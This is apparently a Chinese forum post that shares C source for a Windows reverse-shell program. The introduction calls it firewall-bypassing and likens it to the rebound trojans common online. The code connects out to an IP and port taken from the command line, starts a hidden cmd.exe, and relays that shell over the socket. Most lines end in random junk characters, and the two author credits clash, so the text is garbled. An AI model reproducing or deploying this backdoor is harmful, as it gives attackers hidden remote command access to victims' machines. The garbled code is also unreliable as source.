这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ly6dl
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/* ============================== =W>a ~e]/
Rebound port in Windows NT <fA}_BH%]
By wind,2006/7 m=Mk@xfQ#
===============================*/ y=jZ8+M
#include RD;A
#include O^ 5C
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#pragma comment(lib,"wsock32.lib") zMM~4?4
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void OutputShell(); U??OiKVZ+
SOCKET sClient; `:jF%3ks+0
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e)}=T0
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void main(int argc,char **argv) 7!)VOD8Z
{ PYzTKjw
WSADATA stWsaData; cr?ZXu_
int nRet; [xQ.qZ[h&
SOCKADDR_IN stSaiClient,stSaiServer; 9[lk=1.qN
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if(argc != 3) &> R:oYN
{ Vr;>Im
printf("Useage:\n\rRebound DestIP DestPort\n"); 3(gOF&Uf9
return; ed`7GZB
} L$@+'Qn@:
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WSAStartup(MAKEWORD(2,2),&stWsaData); J3B+WD]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?_v_*+b_
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stSaiClient.sin_family = AF_INET; rFUd
stSaiClient.sin_port = htons(0); :LC3>x`:
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); IWI$@dng6
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wF59g38[z$
{ "
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printf("Bind Socket Failed!\n"); !lA~;F
return; *y$CDv
} B]mMwqM#
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stSaiServer.sin_family = AF_INET; hzpl;Mj
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (]10Z8"fJ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w'7J`n:{]
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) JNP6qM
{ ^t$uDQ[hA
printf("Connect Error!"); ;Cjj_9e,:
return; n36iY'<) G
} "$ISun=8
OutputShell(); -Rr !J37
} V
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void OutputShell() NS;LFeGD
{ bfpoX,:
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; F(^#_tXP
OSVERSIONINFO stOsversionInfo; 9E4^hkD&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +At0V(
STARTUPINFO stStartupInfo; G]mD_J1$
char *szShell; ULs'oT)K;
PROCESS_INFORMATION stProcessInformation; 2 OqEyXh
unsigned long lBytesRead; |$+/IxDP
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `DM)tm3&m
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h`( VMf'#
stSecurityAttributes.lpSecurityDescriptor = 0; s0Z)BR #
stSecurityAttributes.bInheritHandle = TRUE; P:%b[7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); "D
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Md8<IFi9]Q
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); uc|ej9N
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `tXd?E/e
stStartupInfo.wShowWindow = SW_HIDE; H]f[r~
stStartupInfo.hStdInput = hReadPipe; ]Zc\si3i&
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Vl>KeZ+
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GetVersionEx(&stOsversionInfo);
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PzhC *" i}
switch(stOsversionInfo.dwPlatformId) 2U"2L^oKI
{ :JZV=@<T
case 1: 9E0x\%2K
szShell = "command.com"; FU.?n)P
break; F[W0gjUc
default: 8!@}\6qM
szShell = "cmd.exe"; *O\lR-z!k
break; wm9wnAy
} ;:>q;%
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ! CJ*zZ*
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send(sClient,szMsg,77,0); %az6\"n
while(1) G)_Zls2;
{ 1K R4Wq@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <(V~eo
e
if(lBytesRead) kLpq{GUv:
{ PSX
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nV`W0r(f'
send(sClient,szBuff,lBytesRead,0); y9=<q%Kc-
} K8_\U0 K
else _}T )\o
{ |x>5 T}
lBytesRead=recv(sClient,szBuff,1024,0); ,|,kU0xXz
if(lBytesRead<=0) break; ^L8:..+:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `U>2H4P
} (v?
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} B7'yc`)H
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return; BMV\@Sg
}